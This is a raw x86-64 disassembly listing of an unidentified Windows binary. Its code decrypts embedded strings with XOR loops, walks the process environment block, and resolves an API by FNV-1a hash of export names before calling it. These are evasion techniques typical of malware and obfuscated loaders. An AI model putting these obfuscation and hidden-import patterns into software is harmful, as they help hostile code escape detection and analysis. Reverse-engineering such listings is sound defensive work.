psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
mov eax, dword [str.0000000000000000]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xd0]
xorps xmm2, xmm1
movd dword [rbp + 0xd0], xmm2
movdqa xmm3, xmmword [0x140163190]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401631a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xd4]
xorps xmm2, xmm1
movd dword [rbp + 0xd4], xmm2
jmp 0x14008eee0
lea r9, [rbp + 0xd0]
mov r8d, r12d
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x14008eeb0
movdqa xmmword [rsp + 0x70], xmm6
movdqa xmmword [rsp + 0x50], xmm7
lea rax, [rsp + 0x70]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x30], rax
lea rsi, [0x140195788]
mov qword [rsp + 0x28], rsi
lea r13, [0x140195780]
mov qword [rsp + 0x20], r13
lea r9, [0x140195778]
xor r8d, r8d
lea rdx, [rbp + 0x368]
lea rcx, [rbp + 0xd0]
call fcn.14003fe10
test al, al
je 0x14008f209
movups xmm0, xmmword [0x140160440]
movups xmmword [rbp + 0xd40], xmm0
movups xmm1, xmmword [0x140160450]
movups xmmword [rbp + 0xd50], xmm1
movups xmm0, xmmword [0x140160460]
movups xmmword [rbp + 0xd60], xmm0
movups xmm1, xmmword [0x140160470]
movups xmmword [rbp + 0xd70], xmm1
movups xmm0, xmmword [0x140160480]
movups xmmword [rbp + 0xd80], xmm0
movups xmm1, xmmword [0x140160490]
movups xmmword [rbp + 0xd90], xmm1
mov eax, dword [0x1401604a0]
mov dword [rbp + 0xda0], eax
movzx eax, word [0x1401604a4]
mov word [rbp + 0xda4], ax
movzx eax, byte [0x1401604a6]
mov byte [rbp + 0xda6], al
mov r8d, r12d
cmp r14d, 2
jl 0x14008f105
movdqa xmm5, xmmword [0x1401202d0]
movdqa xmm4, xmmword [0x1401632f0]
movdqa xmm6, xmmword [0x1401631a0]
movdqa xmm0, xmmword [str.0000000000000000]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0xd44]
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x60
jl 0x14008f000
cmp r8d, 0x67
jge 0x14008f150
movsxd rax, r8d
lea r9, [rbp + 0xd40]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x67
jl 0x14008f120
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x14008f1e4
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x14008f1e4
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14008f1df
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x14008f1c0
cmp edx, 0x491e0a9c
je 0x14008f1e9
test r9d, r9d
jne 0x14008f1a0
mov rax, qword [rax]
jmp 0x14008f170
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
lea rcx, [rbp + 0xd40]
call rax
mov rcx, r15
call fcn.140025920
mov dword [rbp + 0x100], 0x42700000
mov dword [rbp + 0x104], 0x42c80000
lea rcx, [rbp + 0x100]
call fcn.140025b20
movzx eax, word [0x1401604b0]
mov word [rbp - 0x58], ax
movsd xmm0, qword [str.qS_F_]
movzx eax, byte [0x1401604b2]
movsd qword [rbp - 0x60], xmm0
mov byte [rbp - 0x60], 0x41
xor byte [rbp - 0x5f], 0x31
xor byte [rbp - 0x5e], 0x32
xor byte [rbp - 0x5d], 0x33
xor byte [rbp - 0x5c], 0x34
xor byte [rbp - 0x5b], 0x35
xor byte [rbp - 0x5a], 0x36
xor byte [rbp - 0x59], 0x37
xor byte [rbp - 0x58], 0x38
xor byte [rbp - 0x57], 0x39
xor al, 0x3a
mov byte [rbp - 0x56], al
lea rcx, [rbp - 0x60]
call fcn.14004f330
mov dword [rbp + 0x370], 0x42700000
mov dword [rbp + 0x374], 0x42f00000
lea rcx, [rbp + 0x370]
call fcn.140025b20
movups xmm0, xmmword [0x1401604b8]
movups xmmword [rbp + 0xaf8], xmm0
movups xmm1, xmmword [0x1401604c8]
movups xmmword [rbp + 0xb08], xmm1
movups xmm0, xmmword [0x1401604d8]
movups xmmword [rbp + 0xb18], xmm0
movsd xmm0, qword [0x1401604e8]
movsd qword [rbp + 0xb28], xmm0
mov eax, dword [0x1401604f0]
mov dword [rbp + 0xb30], eax
mov r8d, r12d
cmp r14d, 2
jl 0x14008f435
movdqa xmm5, xmmword [0x1401202d0]
movdqa xmm4, xmmword [0x1401632f0]
movdqa xmm6, xmmword [0x1401631a0]
movdqa xmm0, xmmword [str.0000000000000000]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0xafc]
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x38
jl 0x14008f330
cmp r8d, 0x3c
jge 0x14008f480
movsxd rax, r8d
lea r9, [rbp + 0xaf8]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x3c
jl 0x14008f450
lea rcx, [rbp + 0xaf8]
call fcn.14004f330
mov dword [rbp + 0x378], 0x42700000
mov dword [rbp + 0x37c], 0x43200000
lea rcx, [rbp + 0x378]
call fcn.140025b20
mov rdi, qword [rbp + 0x400]
mov rcx, rdi
call fcn.140025920
movups xmm0, xmmword [0x1401604f8]
movups xmmword [rbp + 0x798], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x14008f660
cmp r14d, 2
jl 0x14008f61f
movdqa xmm5, xmmword [0x1401202d0]
mov edx, r12d
movdqa xmm4, xmmword [0x1401632f0]
movdqa xmm6, xmmword [0x1401631a0]
movdqa xmm0, xmmword [str.0000000000000000]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x79c]
mov r8d, dword [rsp + 0x50]
nop dword [rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x14008f520
jmp 0x14008f660
lea r9, [rbp + 0x798]
mov r8d, r12d
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x14008f630
lea rcx, [rbp + 0x798]
call fcn.14004f330
mov rcx, r15
call fcn.140025920
mov dword [rbp + 0x380], 0x42700000
mov dword [rbp + 0x384], 0x43480000
lea rcx, [rbp + 0x380]
call fcn.140025b20
xorps xmm0, xmm0
movups xmmword [rbp + 0xc30], xmm0
movaps xmm1, xmmword [0x14011b0e0]
movups xmmword [rbp + 0xc20], xmm1
mov dword [rbp + 0x388], 0x3f800000
mov dword [rbp + 0x38c], 0x3f800000
mov qword [rbp + 0x390], 0
mov dword [rbp + 0x398], 0x41c00000
mov dword [rbp + 0x39c], 0x41c00000
lea rax, [rbp + 0xc30]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0xc20]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x388]
lea r8, [rbp + 0x390]
lea rdx, [rbp + 0x398]
mov rcx, qword [rbp + 0x7b0]
call fcn.140047190
movaps xmm1, xmm9
movaps xmm0, xmm12
call fcn.1400251e0
movsd xmm0, qword [0x140160508]
movsd qword [rbp + 0x158], xmm0
mov eax, dword [0x140160510]
mov dword [rbp + 0x160], eax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rbp + 0x164], al
mov r8d, r12d
cmp r14d, 2
jl 0x14008f863
movdqa xmm4, xmmword [0x1401632f0]
movdqa xmm2, xmmword [0x1401202d0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401631a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
mov eax, dword [str.0000000000000000]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140160508]
xorps xmm2, xmm0
movd dword [rbp + 0x158], xmm2
movdqa xmm3, xmmword [0x140163190]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401631a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x15c]
xorps xmm2, xmm1
movd dword [rbp + 0x15c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x158]
add r9, rax
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x14008f870
lea rcx, [rbp + 0x158]
call fcn.14004f330
mov dword [rbp + 0x3a0], 0x43200000
mov dword [rbp + 0x3a4], 0x43430000
lea rcx, [rbp + 0x3a0]
call fcn.140025b20
movaps xmm6, xmmword [0x1401632d0]
movaps xmm7, xmmword [0x1401632c0]
mov dword [rbp + 0x3a8], 0x43020000
mov dword [rbp + 0x3ac], 0x41f00000
movsd xmm0, qword [0x140160518]
movsd qword [rbp + 0x168], xmm0
mov eax, dword [0x140160520]
mov dword [rbp + 0x170], eax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rbp + 0x174], al
mov r8d, r12d
cmp r14d, 2
jl 0x14008fa2c
movdqa xmm4, xmmword [0x1401632f0]
movdqa xmm2, xmmword [0x1401202d0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401631a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
mov eax, dword [str.0000000000000000]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140160518]
xorps xmm2, xmm0
movd dword [rbp + 0x168], xmm2
movdqa xmm3, xmmword [0x140163190]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401631a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x16c]
xorps xmm2, xmm1
movd dword [rbp + 0x16c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x168]
add r9, rax
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x14008fa40
movdqa xmmword [rsp + 0x70], xmm6
movdqa xmmword [rsp + 0x50], xmm7
lea rax, [rsp + 0x70]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], r13
lea r9, [0x140195778]
xor r8d, r8d
lea rdx, [rbp + 0x3a8]
lea rcx, [rbp + 0x168]
call fcn.14003fe10
test al, al
je 0x14008fd7d
movups xmm0, xmmword [0x140160530]
movups xmmword [rbp + 0xc80], xmm0
movups xmm1, xmmword [0x140160540]
movups xmmword [rbp + 0xc90], xmm1
movups xmm0, xmmword [0x140160550]
movups xmmword [rbp + 0xca0], xmm0
movups xmm1, xmmword [0x140160560]
movups xmmword [rbp + 0xcb0], xmm1
movups xmm0, xmmword [0x140160570]
movups xmmword [rbp + 0xcc0], xmm0
movsd xmm0, qword [0x140160580]
movsd qword [rbp + 0xcd0], xmm0
movzx eax, word [0x140160588]
mov word [rbp + 0xcd8], ax
movzx eax, byte [0x14016058a]
mov byte [rbp + 0xcda], al
mov r8d, r12d
cmp r14d, 2
jl 0x14008fc75
movdqa xmm5, xmmword [0x1401202d0]
movdqa xmm4, xmmword [0x1401632f0]
movdqa xmm6, xmmword [0x1401631a0]
movdqa xmm0, xmmword [str.0000000000000000]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0xc84]
mov edx, dword [rsp + 0x50]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x58
jl 0x14008fb70
cmp r8d, 0x5b
jge 0x14008fcc0
movsxd rax, r8d
lea r9, [rbp + 0xc80]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x5b
jl 0x14008fc90
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x14008fd58
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x14008fd58
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14008fd53
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x14008fd30
cmp edx, 0x491e0a9c
je 0x14008fd5d
test r9d, r9d
jne 0x14008fd10
mov rax, qword [rax]
jmp 0x14008fce0
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
lea rcx, [rbp + 0xc80]
call rax
mov dword [rbp + 0x3b0], 0x42700000
mov dword [rbp + 0x3b4], 0x43660000
lea rcx, [rbp + 0x3b0]
call fcn.140025b20
xorps xmm0, xmm0
movups xmmword [rbp + 0xc10], xmm0
movaps xmm1, xmmword [0x14011b0e0]
movups xmmword [rbp + 0xc00], xmm1
mov dword [rbp + 0x3b8], 0x3f800000
mov dword [rbp + 0x3bc], 0x3f800000
mov qword [rbp + 0x3c0], 0
mov dword [rbp + 0x3c8], 0x41c00000
mov dword [rbp + 0x3cc], 0x41c00000
lea rax, [rbp + 0xc10]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0xc00]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x3b8]
lea r8, [rbp + 0x3c0]
lea rdx, [rbp + 0x3c8]
mov rcx, qword [rbp + 0xb8]
call fcn.140047190
movaps xmm1, xmm9
movaps xmm0, xmm12
call fcn.1400251e0
movsd xmm0, qword [0x140160590]
movsd qword [rbp + 0x178], xmm0
mov eax, dword [0x140160598]
mov dword [rbp + 0x180], eax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rbp + 0x184], al
mov r8d, r12d
cmp r14d, 2
jl 0x14008ff6c
movdqa xmm4, xmmword [0x1401632f0]
movdqa xmm2, xmmword [0x1401202d0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401631a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
mov eax, dword [str.0000000000000000]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140160590]
xorps xmm2, xmm0
movd dword [rbp + 0x178], xmm2
movdqa xmm3, xmmword [0x140163190]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401631a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x17c]
xorps xmm2, xmm1
movd dword [rbp + 0x17c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x178]
add r9, rax
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x14008ff80
lea rcx, [rbp + 0x178]
call fcn.14004f330
mov dword [rbp + 0x3d0], 0x43200000
mov dword [rbp + 0x3d4], 0x43610000
lea rcx, [rbp + 0x3d0]
call fcn.140025b20
movaps xmm6, xmmword [0x1401632d0]
movaps xmm7, xmmword [0x1401632c0]
mov dword [rbp + 0x4e0], 0x43020000
mov dword [rbp + 0x4e4], 0x41f00000
movsd xmm0, qword [0x1401605a0]
movsd qword [rbp + 0x188], xmm0
mov eax, dword [0x1401605a8]
mov dword [rbp + 0x190], eax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rbp + 0x194], al
mov r8d, r12d
cmp r14d, 2
jl 0x14009013c
movdqa xmm4, xmmword [0x1401632f0]
movdqa xmm2, xmmword [0x1401202d0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401631a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
mov eax, dword [str.0000000000000000]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x1401605a0]
xorps xmm2, xmm0
movd dword [rbp + 0x188], xmm2
movdqa xmm3, xmmword [0x140163190]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401631a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x18c]
xorps xmm2, xmm1
movd dword [rbp + 0x18c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x188]
add r9, rax
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
